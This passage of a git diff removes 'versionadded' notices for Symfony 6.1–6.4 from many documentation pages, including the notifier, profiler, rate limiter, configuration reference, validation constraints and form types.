-    The :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`
-    and :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
-    classes were introduced in Symfony 6.3.
-
 Learn more
 ----------
 
diff --git a/notifier.rst b/notifier.rst
index c617ea8224d..3127ec05bc1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -102,26 +102,6 @@ Service             Package                                DSN
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
 ==================  =====================================  ===========================================================================
 
-.. versionadded:: 6.1
-
-    The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.
-    The ``no_stop_clause`` option in ``OvhCloud`` DSN was introduced in Symfony 6.1.
-    The ``test`` option in ``Smsapi`` DSN was introduced in Symfony 6.1.
-
-.. versionadded:: 6.2
-
-    The ContactEveryone and SMSFactor integrations were introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The Bandwith, iSendPro, Plivo, RingCentral, SimpleTextin and Termii integrations
-    were introduced in Symfony 6.3.
-    The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The `Redlink`_ and `Brevo`_ integrations were introduced in Symfony 6.4.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -211,14 +191,6 @@ send SMS messages::
         }
     }
 
-.. versionadded:: 6.2
-
-    The 3rd argument of ``SmsMessage`` (``$from``) was introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The 4th argument of ``SmsMessage`` (``$options``) was introduced in Symfony 6.3.
-
 The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.
@@ -263,14 +235,6 @@ Service                                  Package                               D
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
-.. versionadded:: 6.2
-
-    The Zendesk and Chatwork integration were introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The LINE Notify, Mastodon and Twitter integrations were introduced in Symfony 6.3.
-
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
@@ -450,18 +414,6 @@ Service          Package                               DSN
 `Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
 ===============  ====================================  ==============================================================================
 
-.. versionadded:: 6.1
-
-    The Engagespot integration was introduced in Symfony 6.1.
-
-.. versionadded:: 6.3
-
-    The PagerDuty and Pushover integrations were introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The Novu, Ntfy and GoIP integrations were introduced in Symfony 6.4.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -823,10 +775,6 @@ also exists to modify messages sent to those channels.
 Customize Browser Notifications (Flash Messages)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    Support for customizing importance levels was introduced in Symfony 6.1.
-
 The default behavior for browser channel notifications is to add a
 :ref:`flash message <flash-messages>` with ``notification`` as its key.
 
@@ -886,11 +834,6 @@ You can benefit from this class by using it directly or extending the
 
 See :ref:`testing documentation <notifier-assertions>` for the list of available assertions.
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait`
-    was introduced in Symfony 6.2.
-
 Disabling Delivery
 ------------------
 
diff --git a/performance.rst b/performance.rst
index 847da532769..1bb0e261c74 100644
--- a/performance.rst
+++ b/performance.rst
@@ -261,10 +261,6 @@ in performance, you can stop generating the file as follows:
         // ...
         $container->parameters()->set('debug.container.dump', false);
 
-.. versionadded:: 6.3
-
-    The ``debug.container.dump`` option was introduced in Symfony 6.3.
-
 .. _profiling-applications:
 
 Profiling Symfony Applications
diff --git a/profiler.rst b/profiler.rst
index b21132a5816..c0d3640109b 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -35,10 +35,6 @@ Symfony Profiler, which will look like this:
     in the ``X-Debug-Token-Link`` HTTP response header. Browse the ``/_profiler``
     URL to see all profiles.
 
-.. versionadded:: 6.3
-
-    Profile garbage collection was introduced in Symfony 6.3.
-
 .. note::
 
     To limit the storage used by profiles on disk, they are probabilistically
@@ -91,10 +87,6 @@ look for tokens based on some criteria::
     // gets the latest 10 tokens for requests that happened between 2 and 4 days ago
     $tokens = $profiler->find('', '', 10, '', '4 days ago', '2 days ago');
 
-.. versionadded:: 6.4
-
-    Prefixing the URL filter with a ``!`` symbol to negate the query was introduced in Symfony 6.4.
-
 Data Collectors
 ---------------
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 1fe86ef020a..5cb5cbfd918 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -320,11 +320,6 @@ processes by reserving unused tokens.
             $limit->wait();
         } while (!$limit->isAccepted());
 
-.. versionadded:: 6.4
-
-    The support for the ``reserve()`` method for the ``SlidingWindow`` strategy
-    was introduced in Symfony 6.4.
-
 Exposing the Rate Limiter Status
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -370,11 +365,6 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
-.. versionadded:: 6.4
-
-    The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
-    method was introduced in Symfony 6.4.
-
 .. _rate-limiter-storage:
 
 Storing Rate Limiter State
diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 482396d2ae2..62cc40675b2 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -17,10 +17,6 @@ key in your application configuration.
     # environment variables with their actual values
     $ php bin/console debug:config --resolve-env framework
 
-.. versionadded:: 6.2
-
-    The ``--resolve-env`` option was introduced in Symfony 6.2.
-
 .. note::
 
     When using XML, you must use the ``http://symfony.com/schema/dic/debug``
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index aefbcac2fce..f31921cfc9c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -60,10 +60,6 @@ thrown by the application and will turn them into HTTP responses.
 
 Starting from Symfony 7.0, the default value of this option will be ``true``.
 
-.. versionadded:: 6.2
-
-    The ``handle_all_throwables`` option was introduced in Symfony 6.2.
-
 .. _configuration-framework-http_cache:
 
 http_cache
@@ -124,10 +120,6 @@ skip_response_headers
 Set of response headers that will never be cached even when the response is cacheable
 and public.
 
-.. versionadded:: 6.3
-
-    The ``skip_response_headers`` option was introduced in Symfony 6.3.
-
 allow_reload
 ............
 
@@ -210,10 +202,6 @@ trust_x_sendfile_type_header
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 6.1
-
-    The ``trust_x_sendfile_type_header`` option was introduced in Symfony 6.1.
-
 ``X-Sendfile`` is a special HTTP header that tells web servers to replace the
 response contents by the file that is defined in that header. This improves
 performance because files are no longer served by your application but directly
@@ -300,10 +288,6 @@ feature is to configure it on a system level. First, you can define this option
 in the ``SYMFONY_IDE`` environment variable, which Symfony reads automatically
 when ``framework.ide`` config is not set.
 
-.. versionadded:: 6.1
-
-    ``SYMFONY_IDE`` environment variable support was introduced in Symfony 6.1.
-
 Another alternative is to set the ``xdebug.file_link_format`` option in your
 ``php.ini`` configuration file. The format to use is the same as for the
 ``framework.ide`` option, but without the need to escape the percent signs
@@ -1016,10 +1000,6 @@ crypto_method
 The minimum version of TLS to accept. The value must be one of the
 ``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP.
 
-.. versionadded:: 6.3
-
-    The ``crypto_method`` option was introduced in Symfony 6.3.
-
 delay
 .....
 
@@ -1045,10 +1025,6 @@ extra
 Arbitrary additional data to pass to the HTTP client for further use.
 This can be particularly useful when :ref:`decorating an existing client <extensibility>`.
 
-.. versionadded:: 6.3
-
-    The ``extra`` option has been introduced in Symfony 6.3.
-
 .. _http-headers:
 
 headers
@@ -1263,10 +1239,6 @@ enough to be sure about the server, so you should combine this with the
 html_sanitizer
 ~~~~~~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    The HTML sanitizer configuration was introduced in Symfony 6.1.
-
 The ``html_sanitizer`` option (and its children) are used to configure
 custom HTML sanitizers. Read more about the options in the
 :ref:`HTML sanitizer documentation <html-sanitizer-configuration>`.
@@ -1357,10 +1329,6 @@ Set this option to ``true`` to enable the serializer data collector and its
 profiler panel. When this option is ``true``, all normalizers and encoders are
 decorated by traceable implementations that collect profiling information about them.
 
-.. versionadded:: 6.1
-
-    The ``collect_serializer_data`` option was introduced in Symfony 6.1.
-
 rate_limiter
 ~~~~~~~~~~~~
 
@@ -1542,10 +1510,6 @@ cache_dir
 The directory where routing information will be cached. Can be set to
 ``~`` (``null``) to disable route caching.
 
-.. versionadded:: 6.2
-
-    The ``cache_dir`` setting was introduced in Symfony 6.2.
-
 secrets
 ~~~~~~~
 
@@ -3374,10 +3338,6 @@ Name of the lock you want to create.
 semaphore
 ~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    The ``semaphore`` option was introduced in Symfony 6.1.
-
 **type**: ``string`` | ``array``
 
 The default semaphore adapter. Store's DSN are also allowed.
@@ -3824,10 +3784,6 @@ to the ``#[WithHttpStatus]`` attribute on the exception class::
     {
     }
 
-.. versionadded:: 6.3
-
-    The ``#[WithHttpStatus]`` attribute was introduced in Symfony 6.3.
-
 It is also possible to map a log level on a custom exception class using
 the ``#[WithLogLevel]`` attribute::
 
@@ -3841,10 +3797,6 @@ the ``#[WithLogLevel]`` attribute::
     {
     }
 
-.. versionadded:: 6.3
-
-    The ``#[WithLogLevel]`` attribute was introduced in Symfony 6.3.
-
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index c6c0669d1a4..2bfa662db8c 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -25,11 +25,6 @@ method of the kernel class, which you can override to return a different value.
 You can also change the build directory by defining an environment variable
 named ``APP_BUILD_DIR`` whose value is the absolute path of the build folder.
 
-.. versionadded:: 6.4
-
-    The support of the ``APP_BUILD_DIR`` environment variable was introduced in
-    Symfony 6.4.
-
 ``kernel.bundles``
 ------------------
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d6ffd07f102..aaa862fd2f1 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -497,10 +497,6 @@ It's also possible to use ``*`` as a wildcard for all directives:
             ],
         ]);
 
-.. versionadded:: 6.3
-
-    The ``clear_site_data`` option was introduced in Symfony 6.3.
-
 invalidate_session
 ..................
 
@@ -541,10 +537,6 @@ Set this option to ``true`` to enable CSRF protection in the logout process
 using Symfony's default CSRF token manager. Set also the ``csrf_token_manager``
 option if you need to use a custom CSRF token manager.
 
-.. versionadded:: 6.2
-
-    The ``enable_csrf`` option was introduced in Symfony 6.2.
-
 csrf_parameter
 ..............
 
@@ -807,10 +799,6 @@ user_identifier
 
 **type**: ``string`` **default**: ``emailAddress``
 
-.. versionadded:: 6.3
-
-    The ``user_identifier`` option was introduced in Symfony 6.3.
-
 The value of this option tells Symfony which parameter to use to find the user
 identifier in the "distinguished name".
 
@@ -1013,10 +1001,6 @@ the session must not be used when authenticating users:
 Routes under this firewall will be :ref:`configured stateless <stateless-routing>`
 when they are not explicitly configured stateless or not.
 
-.. versionadded:: 6.3
-
-    Stateless firewall marking routes stateless was introduced in Symfony 6.3.
-
 User Checkers
 ~~~~~~~~~~~~~
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 78a895bb4b8..883b0b11eb7 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -57,11 +57,6 @@ called to determine the default escaping applied to the template.
 If the service defined in ``autoescape_service`` is invocable (i.e. it defines
 the `__invoke() PHP magic method`_) you can omit this option.
 
-.. versionadded:: 6.4
-
-    The feature to use invocable services to omit this option was introduced in
-    Symfony 6.4.
-
 base_template_class
 ~~~~~~~~~~~~~~~~~~~
 
@@ -155,10 +150,6 @@ file_name_pattern
 
 **type**: ``string`` or ``array`` of ``string`` **default**: ``[]``
 
-.. versionadded:: 6.1
-
-    The ``file_name_pattern`` option was introduced in Symfony 6.1.
-
 Some applications store their front-end assets in the same directory as Twig
 templates. The ``lint:twig`` command filters those files to only lint the ones
 that match the ``*.twig`` filename pattern.
@@ -289,10 +280,6 @@ html_to_text_converter
 
 **type**: ``string`` **default**: ````
 
-.. versionadded:: 6.2
-
-    The ``html_to_text_converter`` option was introduced in Symfony 6.2.
-
 The service implementing
 :class:`Symfony\\Component\\Mime\\HtmlToTextConverter\\HtmlToTextConverterInterface`
 that will be used to automatically create the text part of an email from its
diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index bd6050add0b..3c99f423b0f 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -95,8 +95,4 @@ The ``groups`` option is not available for this constraint.
 This option can be used to exclude one or more properties from the
 cascade validation.
 
-.. versionadded:: 6.3
-
-    The ``exclude`` option was introduced in Symfony 6.3.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 8e3b11a01ce..cd30e888245 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -315,10 +315,6 @@ When this option is ``false``, the constraint checks that the given value is
 not one of the values defined in the ``choices`` option. In practice, it makes
 the ``Choice`` constraint behave like a ``NotChoice`` constraint.
 
-.. versionadded:: 6.2
-
-    The ``match`` option was introduced in Symfony 6.2.
-
 ``message``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 3f4207471c1..516d6d07dca 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -116,10 +116,6 @@ This option defines the pattern used to validate the email address. Valid values
   `egulias/email-validator`_ library (which is already installed when using
   :doc:`Symfony Mailer </mailer>`; otherwise, you must install it separately).
 
-.. versionadded:: 6.2
-
-   The ``html5-allow-no-tld`` mode was introduced in 6.2.
-
 .. tip::
 
     The possible values of this option are also defined as PHP constants of
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 1f3b4dcdb7c..bf015d17573 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -127,10 +127,6 @@ about the :doc:`expression language syntax </reference/formats/expression_langua
 Alternatively, you can set the ``negate`` option to ``false`` in order to
 assert that the expression must return ``true`` for validation to fail.
 
-.. versionadded:: 6.2
-
-   The ``negate`` option was introduced in Symfony 6.2.
-
 .. sidebar:: Mapping the Error to a Specific Field
 
     You can also attach the constraint to a specific property and still validate
@@ -247,10 +243,6 @@ in your expression:
 You also have access to the ``is_valid()`` function in your expression. This function
 checks that the data passed to function doesn't raise any validation violation.
 
-.. versionadded:: 6.4
-
-    The ``is_valid()`` expression function was introduced in Symfony 6.4.
-
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``
@@ -276,10 +268,6 @@ Parameter        Description
 
 If ``false``, the validation fails when expression returns ``true``.
 
-.. versionadded:: 6.2
-
-   The ``negate`` option was introduced in Symfony 6.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``values``
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 1c12ce0f103..13aec13b0d5 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -156,10 +156,6 @@ see `Wikipedia: Binary prefix`_.
 
 **type**: ``array`` or ``string``
 
-.. versionadded:: 6.2
-
-    The ``extensions`` option was introduced in Symfony 6.2.
-
 If set, the validator will check that the extension and the media type
 (formerly known as MIME type) of the underlying file are equal to the given
 extension and associated media type (if a string) or exist in the collection
@@ -275,10 +271,6 @@ You can find a list of existing mime types on the `IANA website`_.
 
 **type**: ``integer`` **default**: ``null``
 
-.. versionadded:: 6.3
-
-    The ``filenameMaxLength`` was introduced in Symfony 6.3.
-
 If set, the validator will check that the filename of the underlying file
 doesn't exceed a certain length.
 
@@ -287,10 +279,6 @@ doesn't exceed a certain length.
 
 **type**: ``string`` **default**: ``The filename is too long. It should have {{ filename_max_length }} character or less.|The filename is too long. It should have {{ filename_max_length }} characters or less.``
 
-.. versionadded:: 6.3
-
-    The ``filenameTooLongMessage`` was introduced in Symfony 6.3.
-
 The message displayed if the filename of the file exceeds the limit set
 with the ``filenameMaxLength`` option.
 
@@ -307,10 +295,6 @@ Parameter                       Description
 
 **type**: ``string`` **default**: ``The extension of the file is invalid ({{ extension }}). Allowed extensions are {{ extensions }}.``
 
-.. versionadded:: 6.2
-
-    The ``extensionsMessage`` option was introduced in Symfony 6.2.
-
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.
 
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 4eed36347c6..5b7cb581db5 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -144,10 +144,6 @@ Can be one of the following constants of the
 * ``COUNT_GRAPHEMES``: Uses :phpfunction:`grapheme_strlen` counting the length of the string in
   graphemes, i.e. even emojis and ZWJ sequences of composed emojis count as 1 character.
 
-.. versionadded:: 6.3
-
-    The ``countUnit`` option was introduced in Symfony 6.3.
-
 ``exactly``
 ~~~~~~~~~~~
 
@@ -180,10 +176,6 @@ Parameter               Description
 ``{{ value_length }}``  The current value's length
 ======================  ============================================================
 
-.. versionadded:: 6.3
-
-    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
-
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``max``
@@ -214,10 +206,6 @@ Parameter               Description
 ``{{ value_length }}``  The current value's length
 ======================  ============================================================
 
-.. versionadded:: 6.3
-
-    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
-
 ``min``
 ~~~~~~~
 
@@ -250,10 +238,6 @@ Parameter               Description
 ``{{ value_length }}``  The current value's length
 ======================  ============================================================
 
-.. versionadded:: 6.3
-
-    The `{{ value_length }}` parameter was introduced in Symfony 6.3.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/NoSuspiciousCharacters.rst b/reference/constraints/NoSuspiciousCharacters.rst
index cfc23141553..00e28cd6da1 100644
--- a/reference/constraints/NoSuspiciousCharacters.rst
+++ b/reference/constraints/NoSuspiciousCharacters.rst
@@ -1,10 +1,6 @@
 NoSuspiciousCharacters
 ======================
 
-.. versionadded:: 6.3
-
-    The ``NoSuspiciousCharacters`` constraint was introduced in Symfony 6.3.
-
 Validates that the given string does not contain characters used in spoofing
 security attacks, such as invisible characters such as zero-width spaces or
 characters that are visually similar.
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 10a19b342d6..5e1d737c524 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -1,10 +1,6 @@
 PasswordStrength
 ================
 
-.. versionadded:: 6.3
-
-    The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
-
 Validates that the given password has reached the minimum strength required by
 the constraint. The strengh of the password is not evaluated with a set of
 predefined rules (include a number, use lowercase and uppercase characters,
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index cd9d8c1ce45..bc042e1eb86 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -272,10 +272,6 @@ Parameter          Description
 ``{{ pattern }}``  The expected matching pattern
 =================  ==============================================================
 
-.. versionadded:: 6.3
-
-   The ``{{ pattern }}`` parameter was introduced in 6.3.
-
 ``pattern``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 1732fb584f0..6d4de73398f 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -115,8 +115,4 @@ Option     Pattern                          Correct value   Incorrect value
 ``false``  ``/^(\d{2}):(\d{2})$/``          ``12:00``       ``12:00:00``
 =========  ===============================  ==============  ================
 
-.. versionadded:: 6.4
-
-    The ``withSeconds`` option was introduced in Symfony 6.4.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index f10d1423997..1bb4035c7fd 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -214,9 +214,5 @@ Finally, you can use aggregated functions:
 * ``finite-float``: ``is_float && is_finite``
 * ``finite-number``: ``is_int || is_float && is_finite``
 
-.. versionadded:: 6.4
-
-    ``number``, ``finite-float`` and ``finite-number`` were introduced in Symfony 6.4.
-
 .. _built-in PHP extension: https://www.php.net/book.ctype
 .. _a list of ctype functions: https://www.php.net/ref.ctype
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 1f5631abc95..c7ee71329c4 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -96,10 +96,6 @@ Options
 **type**: ``array`` | ``string``
 
 
-.. versionadded:: 6.1
-
-    The ``fields`` option was introduced in Symfony 6.1.
-
 This is defines the key or keys in a collection that should be checked for
 uniqueness. By default, all collection keys are checked for uniqueness.
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 3235f1ed4fb..ad7c09f1c31 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -361,11 +361,6 @@ this option to specify one or more fields to only ignore ``null`` values on them
     database, you might see insertion errors when your application attempts to
     persist entities that the ``UniqueEntity`` constraint considers valid.
 
-.. versionadded:: 6.3
-
-    The option to ignore ``null`` values for specific fields was introduced
-    in Symfony 6.3.
-
 ``message``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index d8ff5fadb8b..c9f6c9741bf 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -129,15 +129,6 @@ you can also use the following PHP constants to refer to each UUID version:
 * ``Uuid::V7_MONOTONIC``
 * ``Uuid::V8_CUSTOM``
 
-.. versionadded:: 6.2
-
-    UUID versions 7 and 8 were introduced in Symfony 6.2.
-
-.. versionadded:: 6.4
-
-    Using a single integer instead of an integer array for this option
-    was introduced in Symfony 6.4.
-
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
 .. _`UUID versions`: https://en.wikipedia.org/wiki/Universally_unique_identifier#Versions
diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 144c1e3904c..e1e8ac895ce 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -1,10 +1,6 @@
 When
 ====
 
-.. versionadded:: 6.2
-
-    The ``When`` constraint was introduced in Symfony 6.2.
-
 This constraint allows you to apply constraints validation only if the
 provided expression returns true. See `Basic Usage`_ for an example.
 
@@ -275,10 +271,6 @@ You can also pass custom variables using the `values`_ option.
 
 One or multiple constraints that are applied if the expression returns true.
 
-.. versionadded:: 6.4
-
-    Passing a single ``Constraint`` instead of an array was introduced in Symfony 6.4.
-
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 9983188c2ce..952705660c9 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -337,13 +337,6 @@ Value resolvers implement the
 and are used to resolve argument values for controllers as described here:
 :doc:`/controller/argument_value_resolver`.
 
-.. versionadded:: 6.2
-
-    The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
-    6.2, you had to use the
-    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
-    which defines different methods.
-
 data_collector
 --------------
 
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index a561ed5ce6d..dcd4d80aaec 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -21,11 +21,6 @@ The component supports:
 * **null** - ``null``
 * **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
 
-.. versionadded:: 6.1
-
-    Support for decimals without leading zeros and underscore separators were
-    introduced in Symfony 6.1.
-
 .. caution::
 
     A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
@@ -114,10 +109,6 @@ operator)::
     $expressionLanguage->evaluate('fruit?.color', ['fruit' => '...'])
     $expressionLanguage->evaluate('fruit?.getStock()', ['fruit' => '...'])
 
-.. versionadded:: 6.1
-
-    The null safe operator was introduced in Symfony 6.1.
-
 .. _component-expression-functions:
 
 Working with Functions
@@ -176,10 +167,6 @@ This function will return the case of an enumeration::
 
 This will print out ``true``.
 
-.. versionadded:: 6.3
-
-    The ``enum()`` function was introduced in Symfony 6.3.
-
 .. tip::
 
     To read how to register your own functions to use in an expression, see
@@ -255,11 +242,6 @@ Comparison Operators
 * ``starts with``
 * ``ends with``
 
-.. versionadded:: 6.1
-
-    The ``contains``, ``starts with`` and ``ends with`` operators were introduced
-    in Symfony 6.1.
-
 .. tip::
 
     To test if a string does *not* match a regex, use the logical ``not``
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 3130dd1d87b..64adac599fb 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -346,10 +346,6 @@ official YAML specification but are useful in Symfony applications:
           # ... or you can also use "->value" to directly use the value of a BackedEnum case
           operator_type: !php/enum App\Operator\Enum\Type::Or->value
 
-.. versionadded:: 6.2
-
-    The ``!php/enum`` tag was introduced in Symfony 6.2.
-
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c18c558dbdc..d21802bbb91 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -200,10 +200,6 @@ prototype_options
 
 **type**: ``array`` **default**: ``[]``
 
-.. versionadded:: 6.1
-
-    The ``prototype_options`` option was introduced in Symfony 6.1.
-
 This is the array that's passed to the form type specified in the `entry_type`_
 option when creating its prototype. It allows to have different options depending
 on whether you are adding a new entry or editing an existing entry::
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 12fdc125177..eb22715407f 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -80,10 +80,6 @@ implement ``TranslatableInterface`` to translate or display custom labels::
         }
     }
 
-.. versionadded:: 6.4
-
-    Support for ``TranslatableInterface`` was introduced in Symfony 6.4.
-
 Field Options
 -------------
 
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 04a3676f7d4..77e685486a8 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -60,10 +60,6 @@ include an `inputmode HTML attribute`_ which depends on the value of this option
 If the ``scale`` value is ``0``, ``inputmode`` will be ``numeric``; if ``scale``
 is set to any value greater than ``0``, ``inputmode`` will be ``decimal``.
 
-.. versionadded:: 6.1
-
-   The automatic addition of the ``inputmode`` attribute was introduced in Symfony 6.1.
-
 Overridden Options
 ------------------
 
diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 0071498916f..3d83e44da52 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -29,12 +29,6 @@ more control::
         },
     ]);
 
-.. versionadded:: 6.2
-
-    Starting from Symfony 6.2, you can use any object that implements
-    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` as the value
-    of the choice label.
-
 This method is called for *each* choice, passing you the ``$choice`` and
 ``$key`` from the choices array (additional ``$value`` is related to `choice_value`_).
 This will give you:
diff --git a/reference/forms/types/options/duplicate_preferred_choices.rst.inc b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
index 72e85067bd3..7569d54a21b 100644
--- a/reference/forms/types/options/duplicate_preferred_choices.rst.inc
+++ b/reference/forms/types/options/duplicate_preferred_choices.rst.inc
@@ -20,7 +20,3 @@ option to ``false``, to only display preferred choices at the top of the list::
         'preferred_choices' => ['muppets', 'arr'],
         'duplicate_preferred_choices' => false,
     ]);
-
-.. versionadded:: 6.4
-
-    The ``duplicate_preferred_choices`` option was introduced in Symfony 6.4.
diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index 8c9bb5ce917..7d8fcdbec6b 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -19,8 +19,3 @@ rendered below the field::
             'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
         ])
     ;
-
-.. versionadded:: 6.2
-
-    The support for ``TranslatableInterface`` objects as help contents was
-    introduced in Symfony 6.2.
diff --git a/reference/forms/types/options/placeholder_attr.rst.inc b/reference/forms/types/options/placeholder_attr.rst.inc
index 49b656cc6df..e537aae8922 100644
--- a/reference/forms/types/options/placeholder_attr.rst.inc
+++ b/reference/forms/types/options/placeholder_attr.rst.inc
@@ -15,7 +15,3 @@ Use this to add additional HTML attributes to the placeholder choice::
             ['title' => 'Choose an option'],
         ],
     ]);
-
-.. versionadded:: 6.3
-
